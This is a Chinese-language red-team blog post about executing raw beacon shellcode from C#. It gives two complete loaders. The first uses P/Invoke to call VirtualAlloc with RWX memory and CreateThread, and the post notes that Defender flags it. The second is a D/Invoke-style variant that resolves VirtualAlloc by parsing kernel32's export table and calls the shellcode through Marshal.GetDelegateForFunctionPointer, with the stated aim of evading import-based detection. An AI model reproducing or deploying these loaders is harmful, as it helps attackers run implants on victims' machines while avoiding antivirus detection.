.NET:使用 P/Invoke 调用 C# 中的 Win32 DLL——本质上和动态加载DLL没有区别
.NET:使用 P/Invoke 调用 C# 中的 Win32 DLL
本质上和动态加载DLL没有区别!!!如下:
在 .NET 中执行非托管代码时,我们通常想要实现什么? 假如是红队,一般想要运行原始的beacon payload,在该payload中运行 C# 封装的本地代码。
很长一段时间以来,最常见的做法是这样的:
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out uint lpThreadId);
[DllImport("kernel32.dll")]
public static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
public static void StartShellcode(byte[] shellcode)
{
uint threadId;
IntPtr alloc = VirtualAlloc(IntPtr.Zero, shellcode.Length, (uint)(AllocationType.Commit | AllocationType.Reserve), (uint)MemoryProtection.ExecuteReadWrite);
if (alloc == IntPtr.Zero) {
return;
}
Marshal.Copy(shellcode, 0, alloc, shellcode.Length);
IntPtr threadHandle = CreateThread(IntPtr.Zero, 0, alloc, IntPtr.Zero, 0, out threadId);
WaitForSingleObject(threadHandle, 0xFFFFFFFF);
}
一切看起来很乐观,但是很快蓝队就意识到:引用一堆可疑方法的 .NET
二进制文件 ,一看就是非奸即盗。
如果在一台受Defender保护的机器上导入并编译上述这种包含了如此明显特征方法的文件,Microsoft 会弹出一个明显的警告,表明这台机器刚刚感染了 VirTool: MSIL/Viemlod.gen!A
.
因此,当蓝队检测力度不断加强的时候,红队的绕过技术也在同步发展。执行非托管代码的演变归功于@fuzzysec 和@TheRealWover,他们引入了 D/Invoke
技术。现在暂且不讨论DLL 加载程序,来看看 D/Invoke
技术中使用的从托管代码转换为非托管代码的底层技术:关键方法 Marshal.GetDelegateForFunctionPointer
。文档将此方法描述为“将非托管函数指针转换为委托”。此方法成功解决了那些令人讨厌的导入问题,迫使防御者跳出 ImplMap
表去寻求其他的防御手段。关于如何使用Marshal.GetDelegateForFunctionPointer
在 x64 进程中执行非托管代码,下面是一个简单示例:
[UnmanagedFunctionPointer(CallingConvention.Winapi)]
public delegate IntPtr VirtualAllocDelegate(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[UnmanagedFunctionPointer(CallingConvention.Winapi)]
public delegate IntPtr ShellcodeDelegate();
public static IntPtr GetExportAddress(IntPtr baseAddr, string name)
{
var dosHeader = Marshal.PtrToStructure<IMAGE_DOS_HEADER>(baseAddr);
var peHeader = Marshal.PtrToStructure<IMAGE_OPTIONAL_HEADER64>(baseAddr + dosHeader.e_lfanew + 4 + Marshal.SizeOf<IMAGE_FILE_HEADER>());
var exportHeader = Marshal.PtrToStructure<IMAGE_EXPORT_DIRECTORY>(baseAddr + (int)peHeader.ExportTable.VirtualAddress);
for (int i = 0; i < exportHeader.NumberOfNames; i++)
{
var nameAddr = Marshal.ReadInt32(baseAddr + (int)exportHeader.AddressOfNames + (i * 4));
var m = Marshal.PtrToStringAnsi(baseAddr + (int)nameAddr);
if (m == "VirtualAlloc")
{
var exportAddr = Marshal.ReadInt32(baseAddr + (int)exportHeader.AddressOfFunctions + (i * 4));
return baseAddr + (int)exportAddr;
}
}
return IntPtr.Zero;
}
public static void StartShellcodeViaDelegate(byte[] shellcode)
{
IntPtr virtualAllocAddr = IntPtr.Zero;
foreach (ProcessModule module in Process.GetCurrentProcess().Modules)
{
if (module.ModuleName.ToLower() == "kernel32.dll")
{
virtualAllocAddr = GetExportAddress(module.BaseAddress, "VirtualAlloc");
}
}
var VirtualAlloc = Marshal.GetDelegateForFunctionPointer<VirtualAllocDelegate>(virtualAllocAddr);
var execMem = VirtualAlloc(IntPtr.Zero, (uint)shellcode.Length, (uint)(AllocationType.Commit | AllocationType.Reserve), (uint)MemoryProtection.ExecuteReadWrite);
Marshal.Copy(shellcode, 0, execMem, shellcode.Length);
var shellcodeCall = Marshal.GetDelegateForFunctionPointer<ShellcodeDelegate>(execMem);
shellcodeCall();
}